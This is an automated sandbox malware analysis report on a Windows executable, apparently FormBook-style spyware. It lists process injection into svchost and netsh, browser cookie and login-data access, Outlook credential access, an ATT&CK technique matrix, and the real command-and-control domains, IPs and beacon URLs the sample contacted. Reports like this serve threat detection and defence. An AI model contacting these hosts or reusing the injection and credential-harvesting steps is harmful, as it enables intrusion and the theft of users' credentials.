            Source: mRCAFaTTtF.exe, 00000009.00000000.1296180946.00000000016A0000.00000002.00000001.00040000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000002.3122563643.00000000016A0000.00000002.00000001.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123577034.0000000001330000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: ?Program Manager
            Source: PO-000041522.exeBinary or memory string: @3PDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning
            Source: mRCAFaTTtF.exe, 00000009.00000000.1296180946.00000000016A0000.00000002.00000001.00040000.00000000.sdmp, mRCAFaTTtF.exe, 00000009.00000002.3122563643.00000000016A0000.00000002.00000001.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123577034.0000000001330000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_00410D10 cpuid 0_2_00410D10
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004223BC GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,0_2_004223BC
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004711D2 GetUserNameW,0_2_004711D2
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0042039F __invoke_watson,__get_daylight,__invoke_watson,__get_daylight,__invoke_watson,____lc_codepage_func,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,__invoke_watson,__invoke_watson,0_2_0042039F
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0040E470 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_0040E470

            Lowering of HIPS / PFW / Operating System Security Settings

            barindex
            Source: C:\Program Files (x86)\HEvAARzhkXrZERryNkGaMvGJkmRDhyqRvfdxQskzWjdtrLrntNyCod\mRCAFaTTtF.exeProcess created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\SysWOW64\netsh.exe"

            Stealing of Sensitive Information

            barindex
            Source: Yara matchFile source: 2.2.svchost.exe.3a0000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.3a0000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3112295467.0000000000B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3123253426.0000000001140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.3123625955.0000000002DF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1384970518.00000000033E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Windows\SysWOW64\netsh.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web DataJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local StateJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login DataJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\CookiesJump to behavior
            Source: C:\Windows\SysWOW64\netsh.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\Jump to behavior
            Source: PO-000041522.exeBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPWIN_2000InstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 6, 0USERPROFILEUSERDOMAINUSERDNSDOMAINDefaultGetSystemWow64DirectoryWSeDebugPrivilege:cdeclwinapistdcallnonestrwstrintbooluintlongulongdwordshortushortwordbyteubytebooleanfloatdoubleptrhwndhandlelresultlparamwparamint64uint64int_ptruint_ptrlong_ptrulong_ptrdword_ptridispatch64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYadvapi32.dllRegDeleteKeyExW+.-.+-\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]ISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXISTSEXPANDmsctls_statusbar321tooltips_class32AutoIt v3 GUI%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----
            Source: PO-000041522.exeBinary or memory string: WIN_XP
            Source: PO-000041522.exeBinary or memory string: WIN_XPe
            Source: PO-000041522.exeBinary or memory string: WIN_VISTA
            Source: PO-000041522.exeBinary or memory string: WIN_7

            Remote Access Functionality

            barindex
            Source: Yara matchFile source: 2.2.svchost.exe.3a0000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.3a0000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000000B.00000002.3123380256.0000000001190000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1389419739.00000000081F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1384232430.00000000003A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3112295467.0000000000B00000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000000B.00000002.3123253426.0000000001140000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.3123625955.0000000002DF0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1384970518.00000000033E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_004741BB socket,WSAGetLastError,bind,WSAGetLastError,closesocket,0_2_004741BB
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0046483C socket,WSAGetLastError,bind,WSAGetLastError,listen,WSAGetLastError,closesocket,0_2_0046483C
            Source: C:\Users\user\Desktop\PO-000041522.exeCode function: 0_2_0047AD92 OleInitialize,_wcslen,CreateBindCtx,MkParseDisplayName,CLSIDFromProgID,GetActiveObject,0_2_0047AD92
            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire Infrastructure2
            Valid Accounts
            3
            Native API
            1
            DLL Side-Loading
            1
            Exploitation for Privilege Escalation
            11
            Disable or Modify Tools
            1
            OS Credential Dumping
            2
            System Time Discovery
            Remote Services1
            Archive Collected Data
            4
            Ingress Tool Transfer
            Exfiltration Over Other Network Medium1
            System Shutdown/Reboot
            CredentialsDomainsDefault AccountsScheduled Task/Job2
            Valid Accounts
            1
            Abuse Elevation Control Mechanism
            1
            Deobfuscate/Decode Files or Information
            21
            Input Capture
            1
            Account Discovery
            Remote Desktop Protocol1
            Data from Local System
            1
            Encrypted Channel
            Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)1
            DLL Side-Loading
            1
            Abuse Elevation Control Mechanism
            Security Account Manager2
            File and Directory Discovery
            SMB/Windows Admin Shares1
            Email Collection
            4
            Non-Application Layer Protocol
            Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal AccountsCronLogin Hook2
            Valid Accounts
            3
            Obfuscated Files or Information
            NTDS116
            System Information Discovery
            Distributed Component Object Model21
            Input Capture
            4
            Application Layer Protocol
            Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon Script21
            Access Token Manipulation
            1
            DLL Side-Loading
            LSA Secrets241
            Security Software Discovery
            SSH3
            Clipboard Data
            Fallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts412
            Process Injection
            2
            Valid Accounts
            Cached Domain Credentials2
            Virtualization/Sandbox Evasion
            VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items2
            Virtualization/Sandbox Evasion
            DCSync3
            Process Discovery
            Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job21
            Access Token Manipulation
            Proc Filesystem11
            Application Window Discovery
            Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt412
            Process Injection
            /etc/passwd and /etc/shadow1
            System Owner/User Discovery
            Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1540337 Sample: PO-000041522.exe Startdate: 23/10/2024 Architecture: WINDOWS Score: 100 28 www.launchdreamidea.xyz 2->28 30 www.kartal-nakliyat.xyz 2->30 32 11 other IPs or domains 2->32 42 Suricata IDS alerts for network traffic 2->42 44 Malicious sample detected (through community Yara rule) 2->44 46 Multi AV Scanner detection for submitted file 2->46 50 4 other signatures 2->50 10 PO-000041522.exe 1 2->10         started        signatures3 48 Performs DNS queries to domains with low reputation 30->48 process4 signatures5 62 Writes to foreign memory regions 10->62 64 Maps a DLL or memory area into another process 10->64 66 Switches to a custom stack to bypass stack traces 10->66 68 Contains functionality to detect sleep reduction / modifications 10->68 13 svchost.exe 10->13         started        process6 signatures7 70 Maps a DLL or memory area into another process 13->70 16 mRCAFaTTtF.exe 13->16 injected process8 signatures9 40 Found direct / indirect Syscall (likely to bypass EDR) 16->40 19 netsh.exe 13 16->19         started        process10 signatures11 52 Tries to steal Mail credentials (via file / registry access) 19->52 54 Tries to harvest and steal browser information (history, passwords, etc) 19->54 56 Modifies the context of a thread in another process (thread injection) 19->56 58 3 other signatures 19->58 22 mRCAFaTTtF.exe 19->22 injected 26 firefox.exe 19->26         started        process12 dnsIp13 34 www.elektromontaze.online 37.9.175.163, 49994, 49995, 49996 WEBSUPPORT-SRO-SK-ASSK Slovakia (SLOVAK Republic) 22->34 36 webredir.vip.gandi.net 217.70.184.50, 49874, 49886, 49902 GANDI-ASDomainnameregistrar-httpwwwgandinetFR France 22->36 38 4 other IPs or domains 22->38 60 Found direct / indirect Syscall (likely to bypass EDR) 22->60 signatures14

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand
            SourceDetectionScannerLabelLink
            PO-000041522.exe26%ReversingLabs
            PO-000041522.exe100%Joe Sandbox ML
            No Antivirus matches
            No Antivirus matches
            No Antivirus matches
            SourceDetectionScannerLabelLink
            https://duckduckgo.com/chrome_newtab0%URL Reputationsafe
            https://duckduckgo.com/ac/?q=0%URL Reputationsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%URL Reputationsafe
            https://www.ecosia.org/newtab/0%URL Reputationsafe
            https://ac.ecosia.org/autocomplete?q=0%URL Reputationsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%URL Reputationsafe
            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=0%URL Reputationsafe
            NameIPActiveMaliciousAntivirus DetectionReputation
            www.gcast.video
            98.124.224.17
            truetrue
              unknown
              webredir.vip.gandi.net
              217.70.184.50
              truetrue
                unknown
                www.elektromontaze.online
                37.9.175.163
                truetrue
                  unknown
                  www.royapop.online
                  209.74.64.190
                  truetrue
                    unknown
                    www.launchdreamidea.xyz
                    188.114.97.3
                    truetrue
                      unknown
                      www.freedietbuilder.online
                      188.114.97.3
                      truetrue
                        unknown
                        bybitexchange.click
                        45.252.249.43
                        truetrue
                          unknown
                          www.18kwatch.com
                          202.87.223.248
                          truetrue
                            unknown
                            natroredirect.natrocdn.com
                            85.159.66.93
                            truetrue
                              unknown
                              www.redlakedispensery.net
                              unknown
                              unknowntrue
                                unknown
                                www.bybitexchange.click
                                unknown
                                unknowntrue
                                  unknown
                                  www.kartal-nakliyat.xyz
                                  unknown
                                  unknowntrue
                                    unknown
                                    NameMaliciousAntivirus DetectionReputation
                                    http://www.gcast.video/zt7d/?OReh1rq=gioIZrJHQSo5Twa9TT6znS2fp8FeqxYG9swkBqqgC+UipwurX93lliJtQqPWuIS6ZmF33XYXd2mTI6MGqYLGA7aepf23dKNnGtvBjHiHmMvjQtNcQ1gpkcMaXgjsQjVZxJ4sA2oNNTmX&CvQl=nrm0ZhFpzltrue
                                      unknown
                                      http://www.redlakedispensery.net/6u21/?OReh1rq=GVaOaFQ3d6G7AfxQOk7ieruxm+gnm5VVlXgM851fWwwgRz3TVn5fGEzA+wYxrv63HQoUWQChgi2b21NIV41GwDduJOaUHEyhnv8phiPJCKVCCwApj4Ws0eCXeq4Y+t0YLUqTKnAz4x3T&CvQl=nrm0ZhFpzltrue
                                        unknown
                                        http://www.kartal-nakliyat.xyz/m55w/true
                                          unknown
                                          http://www.bybitexchange.click/13ne/?OReh1rq=5f/xJzU+yNg+ckMqn3hIiphO517DsQ6C3a9UOIr4Am4abyoaRTootrA/Lbkip0rySLyDMLCpGQATty8VEy6JVvIDO149vjHOqC6Vt6M5zWl7l6vPUmUwE3Hu2vtdv9tSmFj1n1eMQI0X&CvQl=nrm0ZhFpzltrue
                                            unknown
                                            http://www.launchdreamidea.xyz/2b9b/?CvQl=nrm0ZhFpzl&OReh1rq=cGufOJH0xlNic3+8ylCPTRRPYDBZneW0GcYDw7JK4Ijf+YRDc8nYj/foYKrurxlxMPIBZUG8OdJWDJilyjG8KsiFsJaKJojJJc8folsNnUfsqIHZ9MXgGXoTKP3Wf+FrY268bUo4cMTQtrue
                                              unknown
                                              http://www.bybitexchange.click/13ne/true
                                                unknown
                                                http://www.freedietbuilder.online/nnla/true
                                                  unknown
                                                  http://www.elektromontaze.online/2amq/true
                                                    unknown
                                                    http://www.redlakedispensery.net/6u21/true
                                                      unknown
                                                      http://www.elektromontaze.online/2amq/?OReh1rq=TrqYGwWaHxniF7eNSKDkgIUevCh1dc5tnDDYGpgsaE/mtn8diYV+ickL9IcoZLc+jgEWqYyaPiUJOg0jMzRcZMH4Po/VVtmSjhfWTZt8/sN4EXefuBThivk80qQven1R3gWiVtinhRVX&CvQl=nrm0ZhFpzltrue
                                                        unknown
                                                        http://www.kartal-nakliyat.xyz/m55w/?OReh1rq=9llqS7l5r2fZE2qKLahaIkLgunrNzhdfh2Fa8uGkHzeY69X6DmW7eYPfa18EH489ndWHoC7ISC9XGeCzxUHdefh+2UUEydNUM+R9LWmaUjMU6yBTHkWVZyPnnhgR6zjaK6ylcCAOGnqo&CvQl=nrm0ZhFpzltrue
                                                          unknown
                                                          http://www.launchdreamidea.xyz/2b9b/true
                                                            unknown
                                                            http://www.freedietbuilder.online/nnla/?OReh1rq=CqIQGQ0o8+jhRdpyYLS2Ou54wXZmDhGBl2CfLfjcYft2NeK1a5UMcHptbiGPm/AWvx7/GdfV8RGwRyU2PymhnZZ7RowUctSqrqn8UFFkmP+DJHtVFd6xywEuosIKzWdoXOs+sf4OzNSo&CvQl=nrm0ZhFpzltrue
                                                              unknown
                                                              NameSourceMaliciousAntivirus DetectionReputation
                                                              https://cdn.active24.eu/fonts/OTF/Active24-Bold.otfnetsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                unknown
                                                                https://duckduckgo.com/chrome_newtabnetsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://duckduckgo.com/ac/?q=netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                • URL Reputation: safe
                                                                unknown
                                                                https://www.active24.cz/support/mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                  unknown
                                                                  https://cdn.active24.eu/fonts/OTF/Active24-Regular.woff2netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                    unknown
                                                                    https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    unknown
                                                                    https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    • URL Reputation: safe
                                                                    unknown
                                                                    https://www.gandi.net/en/domainnetsh.exe, 0000000B.00000002.3124300851.0000000003FE6000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003186000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                      unknown
                                                                      https://www.ecosia.org/newtab/netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      • URL Reputation: safe
                                                                      unknown
                                                                      https://admin.active24.cz/mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                        unknown
                                                                        https://ac.ecosia.org/autocomplete?q=netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        • URL Reputation: safe
                                                                        unknown
                                                                        https://whois.gandi.net/en/results?search=redlakedispensery.netnetsh.exe, 0000000B.00000002.3124300851.0000000003FE6000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003186000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                          unknown
                                                                          https://cdn.active24.eu/fonts/OTF/Active24-Medium.otfnetsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                            unknown
                                                                            https://cdn.active24.eu/fonts/OTF/Active24-Bold.woff2netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                              unknown
                                                                              http://www.elektromontaze.onlinemRCAFaTTtF.exe, 0000000D.00000002.3125415912.00000000050BA000.00000040.80000000.00040000.00000000.sdmpfalse
                                                                                unknown
                                                                                https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchnetsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • URL Reputation: safe
                                                                                unknown
                                                                                https://www.active24.cz/mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                  unknown
                                                                                  https://cdn.active24.eu/fonts/OTF/Active24-Regular.otfnetsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                    unknown
                                                                                    https://www.active24.cz/cart/domain-checkernetsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                      unknown
                                                                                      https://cdn.active24.eu/fonts/OTF/Active24-Medium.woff2netsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                        unknown
                                                                                        https://admin.active24.cz/ennetsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                          unknown
                                                                                          https://cloudways-static-content.s3.us-east-1.amazonaws.com/error_page/maintenance-domain-mapping.htnetsh.exe, 0000000B.00000002.3124300851.000000000462E000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.00000000037CE000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                            unknown
                                                                                            https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=netsh.exe, 0000000B.00000002.3126328847.0000000007CAE000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            unknown
                                                                                            https://cdn.active24.eunetsh.exe, 0000000B.00000002.3126151598.0000000006160000.00000004.00000800.00020000.00000000.sdmp, netsh.exe, 0000000B.00000002.3124300851.00000000047C0000.00000004.10000000.00040000.00000000.sdmp, mRCAFaTTtF.exe, 0000000D.00000002.3123823989.0000000003960000.00000004.00000001.00040000.00000000.sdmpfalse
                                                                                              unknown
                                                                                              • No. of IPs < 25%
                                                                                              • 25% < No. of IPs < 50%
                                                                                              • 50% < No. of IPs < 75%
                                                                                              • 75% < No. of IPs
                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                              45.252.249.43
                                                                                              bybitexchange.clickViet Nam
                                                                                              63760AZDIGI-AS-VNAZDIGICorporationVNtrue
                                                                                              188.114.97.3
                                                                                              www.launchdreamidea.xyzEuropean Union
                                                                                              13335CLOUDFLARENETUStrue
                                                                                              37.9.175.163
                                                                                              www.elektromontaze.onlineSlovakia (SLOVAK Republic)
                                                                                              51013WEBSUPPORT-SRO-SK-ASSKtrue
                                                                                              217.70.184.50
                                                                                              webredir.vip.gandi.netFrance
                                                                                              29169GANDI-ASDomainnameregistrar-httpwwwgandinetFRtrue
                                                                                              85.159.66.93
                                                                                              natroredirect.natrocdn.comTurkey
                                                                                              34619CIZGITRtrue
                                                                                              98.124.224.17
                                                                                              www.gcast.videoUnited States
                                                                                              21740ENOMAS1UStrue
                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                              Analysis ID:1540337
                                                                                              Start date and time:2024-10-23 17:31:01 +02:00
                                                                                              Joe Sandbox product:CloudBasic
                                                                                              Overall analysis duration:0h 9m 42s
                                                                                              Hypervisor based Inspection enabled:false
                                                                                              Report type:full
                                                                                              Cookbook file name:default.jbs
                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                              Run name:Run with higher sleep bypass
                                                                                              Number of analysed new started processes analysed:19
                                                                                              Number of new started drivers analysed:0
                                                                                              Number of existing processes analysed:0
                                                                                              Number of existing drivers analysed:0
                                                                                              Number of injected processes analysed:2
                                                                                              Technologies:
                                                                                              • HCA enabled
                                                                                              • EGA enabled
                                                                                              • AMSI enabled
                                                                                              Analysis Mode:default
                                                                                              Analysis stop reason:Timeout
                                                                                              Sample name:PO-000041522.exe
                                                                                              Detection:MAL
                                                                                              Classification:mal100.troj.spyw.evad.winEXE@7/2@10/6
                                                                                              EGA Information:
                                                                                              • Successful, ratio: 75%
                                                                                              HCA Information:
                                                                                              • Successful, ratio: 89%
                                                                                              • Number of executed functions: 37
                                                                                              • Number of non-executed functions: 317
                                                                                              Cookbook Comments:
                                                                                              • Found application associated with file extension: .exe
                                                                                              • Sleeps bigger than 100000000ms are automatically reduced to 1000ms
                                                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
                                                                                              • Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                              • Report creation exceeded maximum time and may have missing disassembly code information.
                                                                                              • Report size exceeded maximum capacity and may have missing disassembly code.
                                                                                              • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                              • VT rate limit hit for: PO-000041522.exe
                                                                                              TimeTypeDescription
                                                                                              12:42:41API Interceptor7589063x Sleep call for process: netsh.exe modified
                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                              45.252.249.43PO#071024.exeGet hashmaliciousFormBookBrowse
                                                                                              • www.bybitexchange.click/13ne/
